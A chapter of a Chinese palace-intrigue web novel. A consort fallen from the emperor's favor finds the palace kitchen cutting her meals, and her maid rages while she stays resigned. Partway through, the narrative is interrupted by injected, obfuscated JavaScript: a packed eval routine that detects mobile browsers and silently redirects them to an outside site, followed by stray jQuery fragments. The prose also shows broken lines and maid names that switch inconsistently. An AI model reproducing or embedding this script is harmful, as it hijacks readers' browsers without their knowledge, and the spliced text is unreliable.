第一百五十一章 见风使舵

作品:《与君离

    冬阳斜斜穿过雕花窗棂,在君心殿金砖上投下斑驳碎影。


    殿内静得只听得见铜鹤香炉里檀香燃尽时细微的簌簌声,往日里穿梭不息的宫人此刻都敛着声息,连廊下扫落叶的小太监都刻意放轻了扫帚


    偏殿外的石榴树下,几个洒扫宫女正低头分拣着刚摘下的花瓣,年纪最小的绿枝忍不住偷瞄了眼紧闭的殿门,压低声音道:“自打前几日娘娘骑马在马上惊了马,皇上可就再没踏过君心殿的门槛了……”


    “嘘!”年长的宫女春桃慌忙捂住她的嘴,眼角余光警惕地扫向四周,“周公公都半月没过来传旨了,皇上的意思谁能不懂?不过你瞧娘娘这几日,整日抱着那把焦尾琴发呆,茶饭都减了大半。”


    殿内软榻上,乔瑾正对着案头一盆枯败的秋海棠出神。


    指尖无意识地划过琴身冰裂纹,弦上未落的音符搅得心头一片涩意。


    前日里换冬帐时,她无意间翻出上一世禁足时所绣的残幅,青灰色的丝线绣着断壁残荷,针脚里全是当年漫漫长夜的寒意。


    “娘娘,该用午膳了。”绿萝端着青瓷食盒进来,见她又对着窗外出神,不由得轻叹一声,“今日小厨房做了您最爱吃的蟹粉豆腐,奴婢给您温着些?”


    乔瑾闻声抬眸,眼底蒙着层薄薄的水汽,像极了雨前欲坠的云。


    她望着晚晴欲言又止的模样,突然想起上一世被禁足时,也是这样日复一日的寂静,直到最后连送膳的宫人都换了生面孔。


    “绿萝,”她声音轻得像一片落叶,“你说……皇上是不是又厌弃我了?”


    绿萝手一抖,食盒险些落地。她连忙稳住神,将白瓷碗摆在桌上,氤氲的热气模糊了她泛红的眼眶。


    “娘娘说什么胡话呢!”绿萝强笑着替她拢了拢披帛,“皇上怕是怕再有人借您生事,才暂避些时日。昨儿奴婢还见御花园管事往这儿搬新培的绿梅呢,不是皇上的意思又是谁的?”


    乔瑾指尖猛地攥紧了琴穗,穗子上的珊瑚珠硌得掌心生疼。


    她想起上一世也是这般,旁人都道皇上是为了护住她才冷待,可最终等来的却是更深的禁锢。


    殿外秋风卷着落叶扑在窗纸上,沙沙声响里,她仿佛又听见上一世冷宫墙角那片枯荷被雨水打透的声音。


    “护住我?”她低低重复着,嘴角牵起一抹凉薄的笑,“若真是护住我,何必将我丢在这君心殿里,连句温言软语都吝于给我?”


    晚晴看着她日渐消瘦的侧脸,喉间像被棉絮堵住般说不出话。


    远处钟粹宫方向隐隐传来丝竹声,想是新晋的刘才人又在排演新曲。


    她张了张嘴,终是将“皇上昨夜还问起您的安神汤”这话咽了回去——有些话,说了只怕更添愁绪。


    日头正中时,鎏金自鸣钟刚敲过午初,晚晴与绿萝一前一后抬着食盒进了内殿。


    紫檀木食盒边角的铜棱子在日光下泛着冷光,里头却没传来往常惯有的蟹粉香气。


    绿萝刚掀开最上层食盒,指尖就被烫得一缩——里头摆着的竟是两碟寡淡的素炒冬苋,一盅漂着油星的冬瓜汤,连那盘红白相间的水晶肘子都切得歪歪扭扭,肉皮上还凝着未化的白脂。


    “这……”绿萝的嗓门陡然拔高,袖口蹭到食盒边缘,震得青瓷碗碟叮当作响,“昨儿晚晴姐姐才跟小厨房特意交代过的蟹粉豆腐呢?莫不是长了腿自己跑了?”


    晚晴慌忙按住她的手,眼角瞥见乔瑾搁在膝头的帕子已被攥得发皱。


    殿外廊下传来杂役太监嬉笑声,像针一样扎进寂静的殿内。


    “小厨房的张管事说……”晚晴的声音低下去,指甲掐进掌心,“说近来御膳房食材紧俏,蟹粉豆腐是时令菜,先紧着钟粹宫刘才人那边了……”


    “放狗屁!”绿萝猛地将食盒重重蹾在桌上,溅出的冬瓜汤洒在桌布上洇出灰黄的印子,“半月前咱们娘娘还用着新贡的阳澄湖大闸蟹,如今倒轮到那狐媚子先挑拣了?这群趋炎附势的狗奴才,见皇上几日没来,就敢把咱们君心殿不放在眼里了!”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845707|175766||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她越说越气,素日里梳得齐整的垂鬟分肖髻都晃得散了发丝,抓起廊下晾着的掸子就要往外冲。


    “我去膳房问问清楚!是哪个不长眼的敢克扣娘娘的份例,看我不把他那狗头拧下来当尿壶!”


    “绿萝!”


    (瑾的声音不高,却带着一股冻透了的寒意。


    她扶着炕几慢慢站起身,月白绣玉兰的裙裾扫过地面,惊起一团浮尘在光柱里打转。


    方才还攥着的帕子滑落在地,露出手背上几道被珊瑚珠硌出的红痕。


    “回来。”她望着窗外那棵开始掉叶子的石榴树,目光空濛得像罩着层薄雾,“不过是一碟豆腐,犯不着动气。”


    “娘娘!”绿萝跺脚急道,鬓边的红绒花随着动作乱颤,“这不是一碟豆腐的事!您瞧他们那副嘴脸,简直是踩着咱们脖子往上爬!再这样下去,连洒扫的奴才都敢往咱们汤里吐唾沫了!”


    乔瑾缓缓转过身,阳光从她身后照过来,将脸上的轮廓镀成一片模糊的金影。


    她看着绿萝气得通红的脸,忽然想起上一世禁足时,也是这样的场景——小厨房送来的饭菜里总混着碎石子,当值的太监故意在殿外摔碎汤碗,而那时的她还会哭着让宫人去理论。


    “吐唾沫?”她低声笑了笑,那笑意却没到眼底,只在嘴角牵出个极淡的弧,“吐了又如何?难不成还能堵上所有人的嘴?”


    她弯腰捡起地上的帕子,指尖摩挲着帕角绣的并蒂莲,那是刚入宫时君景珩亲手挑的花样。


    如今丝线依旧鲜亮,只是绣它的人的心,早已在无数个这样的寂静午后里,慢慢凉透了。


    “由他们去罢。”乔瑾将帕子叠得方方正正,放回妆台上,“这君心殿的门槛,本就不是人人都踏得进来的。如今他们愿踩,便由着他们踩个够。”


    绿萝望着她转身时微微佝偻的背影,突然说不出话来。


    殿内那盆枯败的秋海棠又落了片叶子,悄无声息地掉在青砖上,像一声无人听见的叹息。